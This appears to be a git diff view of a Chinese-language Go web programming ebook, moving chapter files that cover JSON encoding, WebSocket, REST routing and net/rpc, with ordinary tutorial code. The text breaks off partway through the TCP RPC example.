ServerIP: ``,
}
b, _ := json.Marshal(s)
os.Stdout.Write(b)
会输出以下内容:
{"serverName":"Go \"1.0\" ","serverName2":"\"Go \\\"1.0\\\" \""}
Marshal函数只有在转换成功的时候才会返回数据在转换的过程中我们需要注意几点
- JSON对象只支持string作为key所以要编码一个map那么必须是map[string]T这种类型(T是Go语言中任意的类型)
- Channel, complex和function是不能被编码成JSON的
- 嵌套的数据是不能编码的不然会让JSON编码进入死循环
- 指针在编码的时候会输出指针指向的内容而空指针会输出null
本小节我们介绍了如何使用Go语言的json标准包来编解码JSON数据同时也简要介绍了如何使用第三方包`go-simplejson`来在一些情况下简化操作学会并熟练运用它们将对我们接下来的Web开发相当重要。
## links
* [目录](<preface.md>)
* 上一节: [XML处理](<07.1.md>)
* 下一节: [正则处理](<07.3.md>)

0
07.3.md → ebook/07.3.md Executable file → Normal file
View File

0
07.4.md → ebook/07.4.md Executable file → Normal file
View File

0
07.5.md → ebook/07.5.md Executable file → Normal file
View File

0
07.6.md → ebook/07.6.md Executable file → Normal file
View File

0
07.7.md → ebook/07.7.md Executable file → Normal file
View File

40
08.0.md → ebook/08.0.md Executable file → Normal file
View File

@@ -1,20 +1,20 @@
# 8 Web服务
Web服务可以让你在HTTP协议的基础上通过XML或者JSON来交换信息。如果你想知道上海的天气预报、中国石油的股价或者淘宝商家的一个商品信息你可以编写一段简短的代码通过抓取这些信息然后通过标准的接口开放出来就如同你调用一个本地函数并返回一个值。
Web服务背后的关键在于平台的无关性你可以运行你的服务在Linux系统可以与其他Window的asp.net程序交互同样的也可以通过同一个接口和运行在FreeBSD上面的JSP无障碍地通信。
目前主流的有如下几种Web服务REST、SOAP。
REST请求是很直观的因为REST是基于HTTP协议的一个补充他的每一次请求都是一个HTTP请求然后根据不同的method来处理不同的逻辑很多Web开发者都熟悉HTTP协议所以学习REST是一件比较容易的事情。所以我们在8.3小节讲详细的讲解如何在Go语言中来实现REST方式。
SOAP是W3C在跨网络信息传递和远程计算机函数调用方面的一个标准。但是SOAP非常复杂其完整的规范篇幅很长而且内容仍然在增加。Go语言是以简单著称所以我们不会介绍SOAP这样复杂的东西。而Go语言提供了一种天生性能很不错开发起来很方便的RPC机制我们将会在8.4小节详细介绍如何使用Go语言来实现RPC。
Go语言是21世纪的C语言我们追求的是性能、简单所以我们在8.1小节里面介绍如何使用Socket编程很多游戏服务都是采用Socket来编写服务段因为HTTP协议相对而言比较耗费性能让我们看看Go语言如何来Socket编程。目前随着HTML5的发展webSockets也逐渐的成为很多页游公司接下来开发的一些手段我们将在8.2小节里面讲解Go语言如何编写webSockets的代码。
## 目录
![](images/navi8.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第七章总结](<07.5.md>)
* 下一节: [Socket编程](<08.1.md>)
# 8 Web服务
Web服务可以让你在HTTP协议的基础上通过XML或者JSON来交换信息。如果你想知道上海的天气预报、中国石油的股价或者淘宝商家的一个商品信息你可以编写一段简短的代码通过抓取这些信息然后通过标准的接口开放出来就如同你调用一个本地函数并返回一个值。
Web服务背后的关键在于平台的无关性你可以运行你的服务在Linux系统可以与其他Window的asp.net程序交互同样的也可以通过同一个接口和运行在FreeBSD上面的JSP无障碍地通信。
目前主流的有如下几种Web服务REST、SOAP。
REST请求是很直观的因为REST是基于HTTP协议的一个补充他的每一次请求都是一个HTTP请求然后根据不同的method来处理不同的逻辑很多Web开发者都熟悉HTTP协议所以学习REST是一件比较容易的事情。所以我们在8.3小节讲详细的讲解如何在Go语言中来实现REST方式。
SOAP是W3C在跨网络信息传递和远程计算机函数调用方面的一个标准。但是SOAP非常复杂其完整的规范篇幅很长而且内容仍然在增加。Go语言是以简单著称所以我们不会介绍SOAP这样复杂的东西。而Go语言提供了一种天生性能很不错开发起来很方便的RPC机制我们将会在8.4小节详细介绍如何使用Go语言来实现RPC。
Go语言是21世纪的C语言我们追求的是性能、简单所以我们在8.1小节里面介绍如何使用Socket编程很多游戏服务都是采用Socket来编写服务段因为HTTP协议相对而言比较耗费性能让我们看看Go语言如何来Socket编程。目前随着HTML5的发展webSockets也逐渐的成为很多页游公司接下来开发的一些手段我们将在8.2小节里面讲解Go语言如何编写webSockets的代码。
## 目录
![](images/navi8.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第七章总结](<07.5.md>)
* 下一节: [Socket编程](<08.1.md>)

0
08.1.md → ebook/08.1.md Executable file → Normal file
View File

302
08.2.md → ebook/08.2.md Executable file → Normal file
View File

@@ -1,151 +1,151 @@
# 8.2 WebSocket
WebSocket是HTML5的重要特性它实现了基于浏览器的远程socket它使浏览器和服务器可以进行全双工通信许多浏览器Firefox、Google Chrome和Safari都已对此做了支持。
在WebSocket出现之前为了实现即时通信采用的技术都是“轮询”即在特定的时间间隔内由浏览器对服务器发出HTTP Request服务器在收到请求后返回最新的数据给浏览器刷新“轮询”使得浏览器需要对服务器不断发出请求这样会占用大量带宽。
WebSocket采用了一些特殊的报头使得浏览器和服务器只需要做一个握手的动作就可以在浏览器和服务器之间建立一条连接通道。且此连接会保持在活动状态你可以使用JavaScript来向连接写入或从中接收数据就像在使用一个常规的TCP Socket一样。它解决了Web实时化的问题相比传统HTTP有如下好处
- 一个Web客户端只建立一个TCP连接
- Websocket服务端可以推送(push)数据到web客户端.
- 有更加轻量级的头,减少数据传送量
WebSocket URL的起始输入是ws://或是wss://在SSL上。下图展示了WebSocket的通信过程一个带有特定报头的HTTP握手被发送到了服务器端接着在服务器端或是客户端就可以通过JavaScript来使用某种套接口socket这一套接口可被用来通过事件句柄异步地接收数据。
![](images/8.2.websocket.png?raw=true)
图8.2 WebSocket原理图
## WebSocket原理
WebSocket的协议颇为简单在第一次handshake通过以后连接便建立成功其后的通讯数据都是以”\x00″开头以”\xFF”结尾。在客户端这个是透明的WebSocket组件会自动将原始数据“掐头去尾”。
浏览器发出WebSocket连接请求然后服务器发出回应然后连接建立成功这个过程通常称为“握手” (handshaking)。请看下面的请求和反馈信息:
![](images/8.2.websocket2.png?raw=true)
图8.3 WebSocket的request和response信息
在请求中的"Sec-WebSocket-Key"是随机的对于整天跟编码打交到的程序员一眼就可以看出来这个是一个经过base64编码后的数据。服务器端接收到这个请求之后需要把这个字符串连接上一个固定的字符串
258EAFA5-E914-47DA-95CA-C5AB0DC85B11
即:`f7cb4ezEAl6C3wRaU6JORA==`连接上那一串固定字符串,生成一个这样的字符串:
f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11
对该字符串先用 sha1安全散列算法计算出二进制的值然后用base64对其进行编码即可以得到握手后的字符串
rE91AJhfC+6JdVcVXOGJEADEJdQ=
将之作为响应头`Sec-WebSocket-Accept`的值反馈给客户端。
## Go实现WebSocket
Go语言标准包里面没有提供对WebSocket的支持但是在由官方维护的go.net子包中有对这个的支持你可以通过如下的命令获取该包
go get code.google.com/p/go.net/websocket
WebSocket分为客户端和服务端接下来我们将实现一个简单的例子:用户输入信息客户端通过WebSocket将信息发送给服务器端服务器端收到信息之后主动Push信息到客户端然后客户端将输出其收到的信息客户端的代码如下
<html>
<head></head>
<body>
<script type="text/javascript">
var sock = null;
var wsuri = "ws://127.0.0.1:1234";
window.onload = function() {
console.log("onload");
sock = new WebSocket(wsuri);
sock.onopen = function() {
console.log("connected to " + wsuri);
}
sock.onclose = function(e) {
console.log("connection closed (" + e.code + ")");
}
sock.onmessage = function(e) {
console.log("message received: " + e.data);
}
};
function send() {
var msg = document.getElementById('message').value;
sock.send(msg);
};
</script>
<h1>WebSocket Echo Test</h1>
<form>
<p>
Message: <input id="message" type="text" value="Hello, world!">
</p>
</form>
<button onclick="send();">Send Message</button>
</body>
</html>
可以看到客户端JS很容易的就通过WebSocket函数建立了一个与服务器的连接sock当握手成功后会触发WebScoket对象的onopen事件告诉客户端连接已经成功建立。客户端一共绑定了四个事件。
- 1onopen 建立连接后触发
- 2onmessage 收到消息后触发
- 3onerror 发生错误时触发
- 4onclose 关闭连接时触发
我们服务器端的实现如下:
package main
import (
"code.google.com/p/go.net/websocket"
"fmt"
"log"
"net/http"
)
func Echo(ws *websocket.Conn) {
var err error
for {
var reply string
if err = websocket.Message.Receive(ws, &reply); err != nil {
fmt.Println("Can't receive")
break
}
fmt.Println("Received back from client: " + reply)
msg := "Received: " + reply
fmt.Println("Sending to client: " + msg)
if err = websocket.Message.Send(ws, msg); err != nil {
fmt.Println("Can't send")
break
}
}
}
func main() {
http.Handle("/", websocket.Handler(Echo))
if err := http.ListenAndServe(":1234", nil); err != nil {
log.Fatal("ListenAndServe:", err)
}
}
当客户端将用户输入的信息Send之后服务器端通过Receive接收到了相应信息然后通过Send发送了应答信息。
![](images/8.2.websocket3.png?raw=true)
图8.4 WebSocket服务器端接收到的信息
通过上面的例子我们看到客户端和服务器端实现WebSocket非常的方便Go的源码net分支中已经实现了这个的协议我们可以直接拿来用目前随着HTML5的发展我想未来WebSocket会是Web开发的一个重点我们需要储备这方面的知识。
## links
* [目录](<preface.md>)
* 上一节: [Socket编程](<08.1.md>)
* 下一节: [REST](<08.3.md>)
# 8.2 WebSocket
WebSocket是HTML5的重要特性它实现了基于浏览器的远程socket它使浏览器和服务器可以进行全双工通信许多浏览器Firefox、Google Chrome和Safari都已对此做了支持。
在WebSocket出现之前为了实现即时通信采用的技术都是“轮询”即在特定的时间间隔内由浏览器对服务器发出HTTP Request服务器在收到请求后返回最新的数据给浏览器刷新“轮询”使得浏览器需要对服务器不断发出请求这样会占用大量带宽。
WebSocket采用了一些特殊的报头使得浏览器和服务器只需要做一个握手的动作就可以在浏览器和服务器之间建立一条连接通道。且此连接会保持在活动状态你可以使用JavaScript来向连接写入或从中接收数据就像在使用一个常规的TCP Socket一样。它解决了Web实时化的问题相比传统HTTP有如下好处
- 一个Web客户端只建立一个TCP连接
- Websocket服务端可以推送(push)数据到web客户端.
- 有更加轻量级的头,减少数据传送量
WebSocket URL的起始输入是ws://或是wss://在SSL上。下图展示了WebSocket的通信过程一个带有特定报头的HTTP握手被发送到了服务器端接着在服务器端或是客户端就可以通过JavaScript来使用某种套接口socket这一套接口可被用来通过事件句柄异步地接收数据。
![](images/8.2.websocket.png?raw=true)
图8.2 WebSocket原理图
## WebSocket原理
WebSocket的协议颇为简单在第一次handshake通过以后连接便建立成功其后的通讯数据都是以”\x00″开头以”\xFF”结尾。在客户端这个是透明的WebSocket组件会自动将原始数据“掐头去尾”。
浏览器发出WebSocket连接请求然后服务器发出回应然后连接建立成功这个过程通常称为“握手” (handshaking)。请看下面的请求和反馈信息:
![](images/8.2.websocket2.png?raw=true)
图8.3 WebSocket的request和response信息
在请求中的"Sec-WebSocket-Key"是随机的对于整天跟编码打交到的程序员一眼就可以看出来这个是一个经过base64编码后的数据。服务器端接收到这个请求之后需要把这个字符串连接上一个固定的字符串
258EAFA5-E914-47DA-95CA-C5AB0DC85B11
即:`f7cb4ezEAl6C3wRaU6JORA==`连接上那一串固定字符串,生成一个这样的字符串:
f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11
对该字符串先用 sha1安全散列算法计算出二进制的值然后用base64对其进行编码即可以得到握手后的字符串
rE91AJhfC+6JdVcVXOGJEADEJdQ=
将之作为响应头`Sec-WebSocket-Accept`的值反馈给客户端。
## Go实现WebSocket
Go语言标准包里面没有提供对WebSocket的支持但是在由官方维护的go.net子包中有对这个的支持你可以通过如下的命令获取该包
go get code.google.com/p/go.net/websocket
WebSocket分为客户端和服务端接下来我们将实现一个简单的例子:用户输入信息客户端通过WebSocket将信息发送给服务器端服务器端收到信息之后主动Push信息到客户端然后客户端将输出其收到的信息客户端的代码如下
<html>
<head></head>
<body>
<script type="text/javascript">
var sock = null;
var wsuri = "ws://127.0.0.1:1234";
window.onload = function() {
console.log("onload");
sock = new WebSocket(wsuri);
sock.onopen = function() {
console.log("connected to " + wsuri);
}
sock.onclose = function(e) {
console.log("connection closed (" + e.code + ")");
}
sock.onmessage = function(e) {
console.log("message received: " + e.data);
}
};
function send() {
var msg = document.getElementById('message').value;
sock.send(msg);
};
</script>
<h1>WebSocket Echo Test</h1>
<form>
<p>
Message: <input id="message" type="text" value="Hello, world!">
</p>
</form>
<button onclick="send();">Send Message</button>
</body>
</html>
可以看到客户端JS很容易的就通过WebSocket函数建立了一个与服务器的连接sock当握手成功后会触发WebScoket对象的onopen事件告诉客户端连接已经成功建立。客户端一共绑定了四个事件。
- 1onopen 建立连接后触发
- 2onmessage 收到消息后触发
- 3onerror 发生错误时触发
- 4onclose 关闭连接时触发
我们服务器端的实现如下:
package main
import (
"code.google.com/p/go.net/websocket"
"fmt"
"log"
"net/http"
)
func Echo(ws *websocket.Conn) {
var err error
for {
var reply string
if err = websocket.Message.Receive(ws, &reply); err != nil {
fmt.Println("Can't receive")
break
}
fmt.Println("Received back from client: " + reply)
msg := "Received: " + reply
fmt.Println("Sending to client: " + msg)
if err = websocket.Message.Send(ws, msg); err != nil {
fmt.Println("Can't send")
break
}
}
}
func main() {
http.Handle("/", websocket.Handler(Echo))
if err := http.ListenAndServe(":1234", nil); err != nil {
log.Fatal("ListenAndServe:", err)
}
}
当客户端将用户输入的信息Send之后服务器端通过Receive接收到了相应信息然后通过Send发送了应答信息。
![](images/8.2.websocket3.png?raw=true)
图8.4 WebSocket服务器端接收到的信息
通过上面的例子我们看到客户端和服务器端实现WebSocket非常的方便Go的源码net分支中已经实现了这个的协议我们可以直接拿来用目前随着HTML5的发展我想未来WebSocket会是Web开发的一个重点我们需要储备这方面的知识。
## links
* [目录](<preface.md>)
* 上一节: [Socket编程](<08.1.md>)
* 下一节: [REST](<08.3.md>)

230
08.3.md → ebook/08.3.md Executable file → Normal file
View File

@@ -1,115 +1,115 @@
# 8.3 REST
RESTful是目前最为流行的一种互联网软件架构。因为它结构清晰、符合标准、易于理解、扩展方便所以正得到越来越多网站的采用。本小节我们将来学习它到底是一种什么样的架构以及在Go里面如何来实现它。
## 什么是REST
REST(REpresentational State Transfer)这个概念,首次出现是在 2000年Roy Thomas Fielding他是HTTP规范的主要编写者之一的博士论文中它指的是一组架构约束条件和原则。满足这些约束条件和原则的应用程序或设计就是RESTful的。
要理解什么是REST我们需要理解下面几个概念:
- 资源Resources
REST是"表现层状态转化",其实它省略了主语。"表现层"其实指的是"资源"的"表现层"。
那么什么是资源呢就是我们平常上网访问的一张图片、一个文档、一个视频等。这些资源我们通过URI来定位也就是一个URI表示一个资源。
- 表现层Representation
资源是做一个具体的实体信息他可以有多种的展现方式。而把实体展现出来就是表现层例如一个txt文本信息他可以输出成html、json、xml等格式一个图片他可以jpg、png等方式展现这个就是表现层的意思。
URI确定一个资源但是如何确定它的具体表现形式呢应该在HTTP请求的头信息中用Accept和Content-Type字段指定这两个字段才是对"表现层"的描述。
- 状态转化State Transfer
访问一个网站就代表了客户端和服务器的一个互动过程。在这个过程中肯定涉及到数据和状态的变化。而HTTP协议是无状态的那么这些状态肯定保存在服务器端所以如果客户端想要通知服务器端改变数据和状态的变化肯定要通过某种方式来通知它。
客户端能通知服务器端的手段只能是HTTP协议。具体来说就是HTTP协议里面四个表示操作方式的动词GET、POST、PUT、DELETE。它们分别对应四种基本操作GET用来获取资源POST用来新建资源也可以用于更新资源PUT用来更新资源DELETE用来删除资源。
综合上面的解释我们总结一下什么是RESTful架构
- 1每一个URI代表一种资源
- 2客户端和服务器之间传递这种资源的某种表现层
- 3客户端通过四个HTTP动词对服务器端资源进行操作实现"表现层状态转化"。
Web应用要满足REST最重要的原则是:客户端和服务器之间的交互在请求之间是无状态的,即从客户端到服务器的每个请求都必须包含理解请求所必需的信息。如果服务器在请求之间的任何时间点重启,客户端不会得到通知。此外此请求可以由任何可用服务器回答,这十分适合云计算之类的环境。因为是无状态的,所以客户端可以缓存数据以改进性能。
另一个重要的REST原则是系统分层这表示组件无法了解除了与它直接交互的层次以外的组件。通过将系统知识限制在单个层可以限制整个系统的复杂性从而促进了底层的独立性。
下图即是REST的架构图
![](images/8.3.rest2.png?raw=true)
图8.5 REST架构图
当REST架构的约束条件作为一个整体应用时将生成一个可以扩展到大量客户端的应用程序。它还降低了客户端和服务器之间的交互延迟。统一界面简化了整个系统架构改进了子系统之间交互的可见性。REST简化了客户端和服务器的实现而且对于使用REST开发的应用程序更加容易扩展。
下图展示了REST的扩展性
![](images/8.3.rest.png?raw=true)
图8.6 REST的扩展性
## RESTful的实现
Go没有为REST提供直接支持但是因为RESTful是基于HTTP协议实现的所以我们可以利用`net/http`包来自己实现当然需要针对REST做一些改造REST是根据不同的method来处理相应的资源目前已经存在的很多自称是REST的应用其实并没有真正的实现REST我暂且把这些应用根据实现的method分成几个级别请看下图
![](images/8.3.rest3.png?raw=true)
图8.7 REST的level分级
上图展示了我们目前实现REST的三个level我们在应用开发的时候也不一定全部按照RESTful的规则全部实现他的方式因为有些时候完全按照RESTful的方式未必是可行的RESTful服务充分利用每一个HTTP方法包括`DELETE``PUT`。可有时HTTP客户端只能发出`GET``POST`请求:
- HTML标准只能通过链接和表单支持`GET``POST`。在没有Ajax支持的网页浏览器中不能发出`PUT``DELETE`命令
- 有些防火墙会挡住HTTP `PUT``DELETE`请求要绕过这个限制,客户端需要把实际的`PUT``DELETE`请求通过 POST 请求穿透过来。RESTful 服务则要负责在收到的 POST 请求中找到原始的 HTTP 方法并还原。
我们现在可以通过`POST`里面增加隐藏字段`_method`这种方式可以来模拟`PUT``DELETE`等方式但是服务器端需要做转换。我现在的项目里面就按照这种方式来做的REST接口。当然Go语言里面完全按照RSETful来实现是很容易的我们通过下面的例子来说明如何实现RESTful的应用设计。
package main
import (
"fmt"
"github.com/drone/routes"
"net/http"
)
func getuser(w http.ResponseWriter, r *http.Request) {
params := r.URL.Query()
uid := params.Get(":uid")
fmt.Fprintf(w, "you are get user %s", uid)
}
func modifyuser(w http.ResponseWriter, r *http.Request) {
params := r.URL.Query()
uid := params.Get(":uid")
fmt.Fprintf(w, "you are modify user %s", uid)
}
func deleteuser(w http.ResponseWriter, r *http.Request) {
params := r.URL.Query()
uid := params.Get(":uid")
fmt.Fprintf(w, "you are delete user %s", uid)
}
func adduser(w http.ResponseWriter, r *http.Request) {
params := r.URL.Query()
uid := params.Get(":uid")
fmt.Fprint(w, "you are add user %s", uid)
}
func main() {
mux := routes.New()
mux.Get("/user/:uid", getuser)
mux.Post("/user/:uid", modifyuser)
mux.Del("/user/:uid", deleteuser)
mux.Put("/user/", adduser)
http.Handle("/", mux)
http.ListenAndServe(":8088", nil)
}
上面的代码演示了如何编写一个REST的应用我们访问的资源是用户我们通过不同的method来访问不同的函数这里使用了第三方库`github.com/drone/routes`在前面章节我们介绍过如何实现自定义的路由器这个库实现了自定义路由和方便的路由规则映射通过它我们可以很方便的实现REST的架构。通过上面的代码可知REST就是根据不同的method访问同一个资源的时候实现不同的逻辑处理。
## 总结
REST是一种架构风格汲取了WWW的成功经验无状态以资源为中心充分利用HTTP协议和URI协议提供统一的接口定义使得它作为一种设计Web服务的方法而变得流行。在某种意义上通过强调URI和HTTP等早期Internet标准REST是对大型应用程序服务器时代之前的Web方式的回归。目前Go对于REST的支持还是很简单的通过实现自定义的路由规则我们就可以为不同的method实现不同的handle这样就实现了REST的架构。
## links
* [目录](<preface.md>)
* 上一节: [WebSocket](<08.2.md>)
* 下一节: [RPC](<08.4.md>)
# 8.3 REST
RESTful是目前最为流行的一种互联网软件架构。因为它结构清晰、符合标准、易于理解、扩展方便所以正得到越来越多网站的采用。本小节我们将来学习它到底是一种什么样的架构以及在Go里面如何来实现它。
## 什么是REST
REST(REpresentational State Transfer)这个概念,首次出现是在 2000年Roy Thomas Fielding他是HTTP规范的主要编写者之一的博士论文中它指的是一组架构约束条件和原则。满足这些约束条件和原则的应用程序或设计就是RESTful的。
要理解什么是REST我们需要理解下面几个概念:
- 资源Resources
REST是"表现层状态转化",其实它省略了主语。"表现层"其实指的是"资源"的"表现层"。
那么什么是资源呢就是我们平常上网访问的一张图片、一个文档、一个视频等。这些资源我们通过URI来定位也就是一个URI表示一个资源。
- 表现层Representation
资源是做一个具体的实体信息他可以有多种的展现方式。而把实体展现出来就是表现层例如一个txt文本信息他可以输出成html、json、xml等格式一个图片他可以jpg、png等方式展现这个就是表现层的意思。
URI确定一个资源但是如何确定它的具体表现形式呢应该在HTTP请求的头信息中用Accept和Content-Type字段指定这两个字段才是对"表现层"的描述。
- 状态转化State Transfer
访问一个网站就代表了客户端和服务器的一个互动过程。在这个过程中肯定涉及到数据和状态的变化。而HTTP协议是无状态的那么这些状态肯定保存在服务器端所以如果客户端想要通知服务器端改变数据和状态的变化肯定要通过某种方式来通知它。
客户端能通知服务器端的手段只能是HTTP协议。具体来说就是HTTP协议里面四个表示操作方式的动词GET、POST、PUT、DELETE。它们分别对应四种基本操作GET用来获取资源POST用来新建资源也可以用于更新资源PUT用来更新资源DELETE用来删除资源。
综合上面的解释我们总结一下什么是RESTful架构
- 1每一个URI代表一种资源
- 2客户端和服务器之间传递这种资源的某种表现层
- 3客户端通过四个HTTP动词对服务器端资源进行操作实现"表现层状态转化"。
Web应用要满足REST最重要的原则是:客户端和服务器之间的交互在请求之间是无状态的,即从客户端到服务器的每个请求都必须包含理解请求所必需的信息。如果服务器在请求之间的任何时间点重启,客户端不会得到通知。此外此请求可以由任何可用服务器回答,这十分适合云计算之类的环境。因为是无状态的,所以客户端可以缓存数据以改进性能。
另一个重要的REST原则是系统分层这表示组件无法了解除了与它直接交互的层次以外的组件。通过将系统知识限制在单个层可以限制整个系统的复杂性从而促进了底层的独立性。
下图即是REST的架构图
![](images/8.3.rest2.png?raw=true)
图8.5 REST架构图
当REST架构的约束条件作为一个整体应用时将生成一个可以扩展到大量客户端的应用程序。它还降低了客户端和服务器之间的交互延迟。统一界面简化了整个系统架构改进了子系统之间交互的可见性。REST简化了客户端和服务器的实现而且对于使用REST开发的应用程序更加容易扩展。
下图展示了REST的扩展性
![](images/8.3.rest.png?raw=true)
图8.6 REST的扩展性
## RESTful的实现
Go没有为REST提供直接支持但是因为RESTful是基于HTTP协议实现的所以我们可以利用`net/http`包来自己实现当然需要针对REST做一些改造REST是根据不同的method来处理相应的资源目前已经存在的很多自称是REST的应用其实并没有真正的实现REST我暂且把这些应用根据实现的method分成几个级别请看下图
![](images/8.3.rest3.png?raw=true)
图8.7 REST的level分级
上图展示了我们目前实现REST的三个level我们在应用开发的时候也不一定全部按照RESTful的规则全部实现他的方式因为有些时候完全按照RESTful的方式未必是可行的RESTful服务充分利用每一个HTTP方法包括`DELETE``PUT`。可有时HTTP客户端只能发出`GET``POST`请求:
- HTML标准只能通过链接和表单支持`GET``POST`。在没有Ajax支持的网页浏览器中不能发出`PUT``DELETE`命令
- 有些防火墙会挡住HTTP `PUT``DELETE`请求要绕过这个限制,客户端需要把实际的`PUT``DELETE`请求通过 POST 请求穿透过来。RESTful 服务则要负责在收到的 POST 请求中找到原始的 HTTP 方法并还原。
我们现在可以通过`POST`里面增加隐藏字段`_method`这种方式可以来模拟`PUT``DELETE`等方式但是服务器端需要做转换。我现在的项目里面就按照这种方式来做的REST接口。当然Go语言里面完全按照RSETful来实现是很容易的我们通过下面的例子来说明如何实现RESTful的应用设计。
package main
import (
"fmt"
"github.com/drone/routes"
"net/http"
)
func getuser(w http.ResponseWriter, r *http.Request) {
params := r.URL.Query()
uid := params.Get(":uid")
fmt.Fprintf(w, "you are get user %s", uid)
}
func modifyuser(w http.ResponseWriter, r *http.Request) {
params := r.URL.Query()
uid := params.Get(":uid")
fmt.Fprintf(w, "you are modify user %s", uid)
}
func deleteuser(w http.ResponseWriter, r *http.Request) {
params := r.URL.Query()
uid := params.Get(":uid")
fmt.Fprintf(w, "you are delete user %s", uid)
}
func adduser(w http.ResponseWriter, r *http.Request) {
params := r.URL.Query()
uid := params.Get(":uid")
fmt.Fprint(w, "you are add user %s", uid)
}
func main() {
mux := routes.New()
mux.Get("/user/:uid", getuser)
mux.Post("/user/:uid", modifyuser)
mux.Del("/user/:uid", deleteuser)
mux.Put("/user/", adduser)
http.Handle("/", mux)
http.ListenAndServe(":8088", nil)
}
上面的代码演示了如何编写一个REST的应用我们访问的资源是用户我们通过不同的method来访问不同的函数这里使用了第三方库`github.com/drone/routes`在前面章节我们介绍过如何实现自定义的路由器这个库实现了自定义路由和方便的路由规则映射通过它我们可以很方便的实现REST的架构。通过上面的代码可知REST就是根据不同的method访问同一个资源的时候实现不同的逻辑处理。
## 总结
REST是一种架构风格汲取了WWW的成功经验无状态以资源为中心充分利用HTTP协议和URI协议提供统一的接口定义使得它作为一种设计Web服务的方法而变得流行。在某种意义上通过强调URI和HTTP等早期Internet标准REST是对大型应用程序服务器时代之前的Web方式的回归。目前Go对于REST的支持还是很简单的通过实现自定义的路由规则我们就可以为不同的method实现不同的handle这样就实现了REST的架构。
## links
* [目录](<preface.md>)
* 上一节: [WebSocket](<08.2.md>)
* 下一节: [RPC](<08.4.md>)

784
08.4.md → ebook/08.4.md Executable file → Normal file
View File

@@ -1,392 +1,392 @@
# 8.4 RPC
前面几个小节我们介绍了如何基于Socket和HTTP来编写网络应用通过学习我们了解了Socket和HTTP采用的是类似"信息交换"模式,即客户端发送一条信息到服务端,然后(一般来说)服务器端都会返回一定的信息以表示响应。客户端和服务端之间约定了交互信息的格式,以便双方都能够解析交互所产生的信息。但是很多独立的应用并没有采用这种模式,而是采用类似常规的函数调用的方式来完成想要的功能。
RPC就是想实现函数调用模式的网络化。客户端就像调用本地函数一样然后客户端把这些参数打包之后通过网络传递到服务端服务端解包到处理过程中执行然后执行的结果反馈给客户端。
RPCRemote Procedure Call Protocol——远程过程调用协议是一种通过网络从远程计算机程序上请求服务而不需要了解底层网络技术的协议。它假定某些传输协议的存在如TCP或UDP以便为通信程序之间携带信息数据。通过它可以使函数调用模式网络化。在OSI网络通信模型中RPC跨越了传输层和应用层。RPC使得开发包括网络分布式多程序在内的应用程序更加容易。
## RPC工作原理
![](images/8.4.rpc.png?raw=true)
图8.8 RPC工作流程图
运行时,一次客户机对服务器的RPC调用,其内部操作大致有如下十步:
- 1.调用客户端句柄;执行传送参数
- 2.调用本地系统内核发送网络消息
- 3.消息传送到远程主机
- 4.服务器句柄得到消息并取得参数
- 5.执行远程过程
- 6.执行的过程将结果返回服务器句柄
- 7.服务器句柄返回结果,调用远程系统内核
- 8.消息传回本地主机
- 9.客户句柄由内核接收消息
- 10.客户接收句柄返回的数据
## Go RPC
Go标准包中已经提供了对RPC的支持而且支持三个级别的RPCTCP、HTTP、JSONRPC。但Go的RPC包是独一无二的RPC它和传统的RPC系统不同它只支持Go开发的服务器与客户端之间的交互因为在内部它们采用了Gob来编码。
Go RPC的函数只有符合下面的条件才能被远程访问不然会被忽略详细的要求如下
- 函数必须是导出的(首字母大写)
- 必须有两个导出类型的参数,
- 第一个参数是接收的参数,第二个参数是返回给客户端的参数,第二个参数必须是指针类型的
- 函数还要有一个返回值error
举个例子正确的RPC函数格式如下
func (t *T) MethodName(argType T1, replyType *T2) error
T、T1和T2类型必须能被`encoding/gob`包编解码。
任何的RPC都需要通过网络来传递数据Go RPC可以利用HTTP和TCP来传递数据利用HTTP的好处是可以直接复用`net/http`里面的一些函数。详细的例子请看下面的实现
### HTTP RPC
http的服务端代码实现如下
package main
import (
"errors"
"fmt"
"net/http"
"net/rpc"
)
type Args struct {
A, B int
}
type Quotient struct {
Quo, Rem int
}
type Arith int
func (t *Arith) Multiply(args *Args, reply *int) error {
*reply = args.A * args.B
return nil
}
func (t *Arith) Divide(args *Args, quo *Quotient) error {
if args.B == 0 {
return errors.New("divide by zero")
}
quo.Quo = args.A / args.B
quo.Rem = args.A % args.B
return nil
}
func main() {
arith := new(Arith)
rpc.Register(arith)
rpc.HandleHTTP()
err := http.ListenAndServe(":1234", nil)
if err != nil {
fmt.Println(err.Error())
}
}
通过上面的例子可以看到我们注册了一个Arith的RPC服务然后通过`rpc.HandleHTTP`函数把该服务注册到了HTTP协议上然后我们就可以利用http的方式来传递数据了。
请看下面的客户端代码:
package main
import (
"fmt"
"log"
"net/rpc"
"os"
)
type Args struct {
A, B int
}
type Quotient struct {
Quo, Rem int
}
func main() {
if len(os.Args) != 2 {
fmt.Println("Usage: ", os.Args[0], "server")
os.Exit(1)
}
serverAddress := os.Args[1]
client, err := rpc.DialHTTP("tcp", serverAddress+":1234")
if err != nil {
log.Fatal("dialing:", err)
}
// Synchronous call
args := Args{17, 8}
var reply int
err = client.Call("Arith.Multiply", args, &reply)
if err != nil {
log.Fatal("arith error:", err)
}
fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)
var quot Quotient
err = client.Call("Arith.Divide", args, &quot)
if err != nil {
log.Fatal("arith error:", err)
}
fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)
}
我们把上面的服务端和客户端的代码分别编译,然后先把服务端开启,然后开启客户端,输入代码,就会输出如下信息:
$ ./http_c localhost
Arith: 17*8=136
Arith: 17/8=2 remainder 1
通过上面的调用可以看到参数和返回值是我们定义的struct类型在服务端我们把它们当做调用函数的参数的类型在客户端作为`client.Call`的第23两个参数的类型。客户端最重要的就是这个Call函数它有3个参数第1个要调用的函数的名字第2个是要传递的参数第3个要返回的参数(注意是指针类型)通过上面的代码例子我们可以发现使用Go的RPC实现相当的简单方便。
### TCP RPC
上面我们实现了基于HTTP协议的RPC接下来我们要实现基于TCP协议的RPC服务端的实现代码如下所示
package main
import (
"errors"
"fmt"
"net"
"net/rpc"
"os"
)
type Args struct {
A, B int
}
type Quotient struct {
Quo, Rem int
}
type Arith int
func (t *Arith) Multiply(args *Args, reply *int) error {
*reply = args.A * args.B
return nil
}
func (t *Arith) Divide(args *Args, quo *Quotient) error {
